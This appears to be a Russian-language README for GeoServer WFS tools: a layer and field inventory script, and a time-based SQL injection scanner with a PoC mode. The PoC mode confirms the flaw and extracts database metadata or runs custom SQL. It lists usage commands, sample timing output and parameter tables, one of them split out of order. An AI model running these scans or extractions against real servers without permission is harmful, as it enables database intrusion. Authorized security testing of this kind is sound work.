
Python-скрипты для инвентаризации конечных точек GeoServer WFS и проверки уязвимостей time-based SQL-инъекций в PostGIS/GeoTools, с выделенным режимом PoC для авторизованного тестирования.
Этот репозиторий содержит два Python-скрипта для исследования GeoServer-WFS-конечных точек.
wfs_inventory.pyНазначение: Инвентаризация слоёв, XSD-полей и WFS-значений, а также опциональная проверка кандидатов с помощью проверки на основе времени.
Примеры запуска:
python3 wfs_inventory.py --url https://HOST --valid-fields 4
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt
geoserver_sqli_working.pyНазначение: Комбинированная точка входа для инвентаризации, а также отдельный режим PoC.
Примеры запуска:
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"
Важное примечание: Проверка на основе времени и режим PoC должны использоваться только против систем, для которых имеется явное разрешение на тестирование. Обычный режим инвентаризации использует исключительно стандартные операции WFS.
Опционально сделать исполняемыми:
chmod +x wfs_inventory.py geoserver_sqli_working.py
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4
Стандартный путь /geoserver/wfs добавляется автоматически. Следующие
указания эквивалентны:
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs
При нестандартной установке необходимо указать полный путь WFS.
Только для явно авторизованных систем:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1
Во время проверки для каждого кандидата на stderr выводится измерение:
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true
Пройденный screen-тест ещё не является положительным результатом. Только если второе, более длительное измерение также проходит, выводится блок параметров.
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
--valid-diagnose FILE автоматически активирует подробную диагностику и
записывает её в указанный файл.
Стандартный режим auto обрабатывает WFS-информацию в следующем порядке:
GetCapabilities открывается один раз:
/geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
XML-ответ обрабатывается потоково. Как только найден FeatureType/Name,
определяется следующий typeName.
Для этого слоя немедленно выполняется DescribeFeatureType с
version=2.0.0.
Скрипт извлекает XSD-элементы и выбирает строковые/JSON-поля с ID- или номероподобным именем.
Кандидат проверяется в зависимости от вызова:
--sleep: выборочные значения должны быть синтаксически корректным JSON.--sleep N: измеряются контрольный запрос и проверочный запрос на основе
времени. Проверка JSON-значений при этом пропускается.Результат немедленно выводится и сбрасывается (flush).
Только после этого считывается следующий typeName из текущего
GetCapabilities-ответа.
Благодаря этому большой GetCapabilities-ответ не нужно полностью обрабатывать
до появления первого результата.
Без --sleep автоматический режим по умолчанию учитывает
строковые/JSON-поля с ID- или номероподобным именем.
С --sleep режим --candidate-scope auto использует, наоборот, все простые
негеометрические поля. XSD-тип и шаблон ID-имени больше не блокируют проверку
времени. Это предотвращает ложные отрицательные результаты для числовых,
дата/булевых или специфических для производителя XSD-типов.
Распознаваемые шаблоны имён включают:
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid
При проверке на основе времени имя поля дополнительно должно быть простым
идентификатором в формате [A-Za-z_][A-Za-z0-9_]*.
Без --sleep проверяется, можно ли интерпретировать наблюдаемые значения
синтаксически как JSON. Поэтому, например, строка "383205" также считается
кандидатом, поскольку её содержимое представляет собой допустимое JSON-число.
Эта проверка является эвристикой и не является доказательством уязвимости.
С --sleep 1 решает исключительно измерение времени. Кандидат по умолчанию
считается положительным, если проверочный запрос по сравнению с контрольным
требует дополнительно не менее 70 процентов запрошенного времени сна.
--timing-result-type auto сначала проверяет resultType=hits, а при
отрицательном результате затем resultType=results.
Предварительно положительные измерения обязательно подтверждаются более
длительным временем сна. Без явного --confirm-sleep скрипт использует
max(3, --sleep * 3), ограниченное 10 секундами. Благодаря этому единичный
пик задержки при --sleep 1 больше не приводит к vulnerable=true.
Стандартный вывод содержит один блок на каждый допустимый слой:
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B
parameter_stringN содержит нормализованную WFS-конечную точку и подходящие
значения для --typename и --field_name.
--valid-fields N считает блоки слоёв, а не отдельные поля. Если существует
меньше N допустимых слоёв, остальной каталог продолжает исследоваться.
С помощью --max-layers можно ограничить максимальное время выполнения.
Опции --diagnose или --valid-diagnose FILE дополняют вывод, среди прочего:
GetCapabilities-URL,DescribeFeatureType-URL,GetFeature-URL иПример:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--valid-diagnose diagnose.txt
python3 wfs_inventory.py \
--url https://HOST \
--mode layers
Ограничить по namespace:
python3 wfs_inventory.py \
--url https://HOST \
--mode layers \
--namespace fink
python3 wfs_inventory.py \
--url https://HOST \
--mode fields \
--layer namespace:layer
Каждое поле выводится как JSON-объект с именем, XSD-типом, nillable,
id_candidate и usable_property.
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--field FIELD_A \
--field FIELD_B \
--max-features 100 \
--format jsonl \
--output values.jsonl
Экспорт всех свойств:
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--all-properties \
--max-features 100
С помощью --unique идентичные комбинации выбранных значений полей выводятся
только один раз.
wfs_inventory.py| Параметр | По умолчанию | Назначение |
|---|---|---|
--url URL | обязательно | Хост, база GeoServer или полная WFS-конечная точка |
--mode auto|layers|fields|values | auto | Выполняемый режим работы |
--layer NAMESPACE:LAYER | – | Ограничить авто-режим одним feature-type; обязательно для fields и values |
--namespace PREFIX | – | Учитывать только слои с этим префиксом namespace |
--capabilities-file FILE | – | Использовать локальный GetCapabilities-ответ вместо загрузки |
--field NAME | повторяемый | Экспортируемое свойство в режиме values |
--all-properties | выкл | Экспортировать все свойства в режиме values |
--unique | выкл | Подавлять дублирующиеся комбинации значений полей |
--page-size N | 500 | Функции на страницу GetFeature; диапазон от 1 до 5000 |
--sample-size N | 5 | Выборочные значения на слой для проверки синтаксиса JSON; диапазон от 1 до 100 |
--sleep SECONDS | 0 | Активировать проверку на основе времени; допустимы 0 или от 1 до 10 секунд |
--candidate-scope auto|id|all | auto | Выбор кандидатов; auto использует без sleep ID-поля, а со sleep — все негеометрические поля |
--timing-result-type auto|hits|results | auto | Путь запроса проверки времени; auto пробует hits, затем results |
--sleep-threshold RATIO | 0.7 |
geoserver_sqli_working.py может напрямую вызывать функцию инвентаризации. Как
только указан --valid-fields, выполняется исключительно инвентаризация, после
чего программа завершается.
python3 geoserver_sqli_working.py \
--target https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
При этом внутренне следующие параметры передаются в wfs_inventory.py:
--target -> --url
--valid-fields -> --valid-fields
--valid-diagnose -> --valid-diagnose
--sleep -> --sleep
--candidate-scope -> --candidate-scope
--timing-result-type -> --timing-result-type
--sleep-threshold -> --sleep-threshold
--confirm-sleep -> --confirm-sleep
Без явного --sleep проверка на основе времени в режиме инвентаризации
остаётся отключённой.
Только для явно авторизованных тестовых систем:
python3 geoserver_sqli_working.py \
--target https://HOST/geoserver/wfs \
--typename namespace:layer \
--field_name FIELD \
--sleep 5
В режиме PoC целевой путь не нормализуется автоматически. Здесь следует указывать полную WFS-конечную точку.
Режим сначала выполняет базовый/sleep-тест, затем тестирует имеющиеся
варианты oracle на основе времени и при успешном подтверждении по умолчанию
считывает метаданные сервера/базы данных. С помощью --query вместо этого
можно задать собственный скалярный запрос.
Режим PoC в настоящее время внутренне отключает проверку TLS-сертификата. Для чистой инвентаризации предпочтительно использовать
wfs_inventory.py, поскольку там TLS проверяется по умолчанию.
geoserver_sqli_working.py| Параметр | По умолчанию | Назначение |
|---|---|---|
--target URL | обязательно | Целевой хост или WFS-конечная точка; в режиме PoC использовать полный путь WFS |
--typename NAME | fink_bku:fink_meta_mitte_suedwest | Feature-type для режима PoC |
--field_name NAME | обязательно в режиме PoC | Простое имя XSD-поля для jsonArrayContains |
--field-name NAME | алиас | Алиас для --field_name |
--valid-fields N | – | Активировать режим инвентаризации и остановиться после N допустимых слоёв |
--valid-diagnose FILE | – | Записать подробный отчёт инвентаризации в FILE; требует --valid-fields |
--sleep SECONDS | PoC: 5, инвентаризация: выкл | Длительность сна соответствующего режима |
--candidate-scope auto|id|all | auto | Выбор кандидатов в режиме инвентаризации |
--timing-result-type auto|hits|results | auto | Путь запроса времени в режиме инвентаризации |
--sleep-threshold RATIO | 0.7 | Порог времени в режиме инвентаризации |
--confirm-sleep SECONDS | автоматически | Подтверждающий sleep в режиме инвентаризации |
--query SQL | – | Собственный скалярный запрос в режиме PoC |
--debug | выкл | Отображать условия, время выполнения и решения в режиме PoC |
Авто-режим может создавать JSON Lines вместо текстовых блоков:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--report-format jsonl \
--output report.jsonl
С --diagnose каждая запись дополнительно содержит URL, метаданные кандидатов,
значения проверок и GetFeature-URL для конкретного поля.
Использование прокси:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--valid-fields 4
Доверие собственному CA прокси:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--proxy-ca proxy-ca.pem \
--valid-fields 4
Отключение проверки TLS для авторизованной тестовой системы:
python3 wfs_inventory.py \
--url https://HOST \
--insecure \
--valid-fields 4
--proxy-ca и --insecure нельзя использовать вместе.
При больших GetCapabilities-ответах помогают следующие опции:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--max-layers 100 \
--sample-size 1 \
--timeout 10 \
--retries 0 \
--delay 0
Примечания:
GetCapabilities запрашивается только один раз и затем обрабатывается потоково.--valid-fields 4 завершает сканирование только после четырёх допустимых слоёв.
Если совпадений меньше, поиск продолжается до конца или до --max-layers.--sample-size 1 снижает затраты на JSON-эвристику.--timing-result-type auto
после отрицательного результата hits дополнительно выполняются два
results-запроса.--candidate-scope id сокращает количество запросов времени, но может
пропустить уязвимые поля с другими именами.--namespace и --start-layer-index могут дополнительно ограничить область поиска.The read operation timed out--timeout, если сервер отвечает медленно.--retries 0, чтобы избежать длительных повторений.--max-layers и --namespace.--sample-size 1.--sleep кандидаты должны пройти проверку XSD/имени и проверку синтаксиса
JSON в зависимости от --candidate-scope.--sleep выводятся только подтверждённые по времени кандидаты в виде блока
параметров; отрицательные измерения появляются как [sleep-check] на stderr.--max-layers.Cannot do natural order without a primary keyДля первой страницы GetFeature скрипт не отправляет startIndex=0, поскольку
некоторые слои GeoServer/JDBC без первичного ключа уже из-за этого принудительно
выполняют естественную сортировку. При экспорте дальнейших страниц такой слой
всё же может потребовать первичный ключ или поддерживаемую сервером сортировку.
schema does not define ...TypeСкрипт учитывает как обычный <LayerName>Type, так и отличающийся, на который
ссылается глобальный XSD-элемент слоя, или анонимный complexType. Если ошибка
сохраняется, следует проверить соответствующий DescribeFeatureType-ответ
с помощью --diagnose.
Полное сообщение об ошибке OWS выводится на stderr. Частые причины —
неподдерживаемые свойства, серверные настройки постраничного вывода или
специфическая конфигурация источника данных слоя.
python3 wfs_inventory.py --help
python3 geoserver_sqli_working.py --help
| Требуемая доля времени сна; диапазон от 0.5 до 1.0 |
--confirm-sleep SECONDS | 0/автоматически | Подтверждающий sleep; 0 использует минимум 3× первое время сна, диапазон от 1 до 10 |
--start-layer-index N | 0 | Пропустить первые N потоково обработанных слоёв |
--max-layers N | 0 | Обработать максимум N слоёв; 0 означает без ограничений |
--valid-fields N | 0 | Остановиться после N допустимых блоков слоёв; 0 означает без ограничений |
--valid N | алиас | Обратно совместимый алиас для --valid-fields |
--max-features N | 0 | Остановиться после N функций в режиме values; 0 означает без ограничений |
--format jsonl|csv|text | jsonl | Формат вывода в режиме values |
--output FILE | stdout | Записать отчёт или значения в файл |
--report-format blocks|jsonl | blocks | Формат авто-отчёта |
--diagnose | выкл | Дополнить URL, типы, флаги выбора и статистику проверок |
--valid-diagnose FILE | – | Активировать диагностику и записать непосредственно в FILE |
--delay SECONDS | 0.1 | Пауза между шагами результата/проверки |
--timeout SECONDS | 30 | Таймаут на каждый HTTP-запрос |
--retries N | 2 | Повторения после таймаута или сетевой ошибки; диапазон от 0 до 10 |
--proxy URL | – | HTTP(S)-прокси, например http://127.0.0.1:8080 |
--proxy-ca FILE | – | PEM-CA-сертификат для доверия сертификату прокси |
--insecure | выкл | Отключить проверку TLS-сертификата |
--authorization TEXT | I_AM_AUTHORIZED | Подтверждение безопасности; должно быть точно I_AM_AUTHORIZED |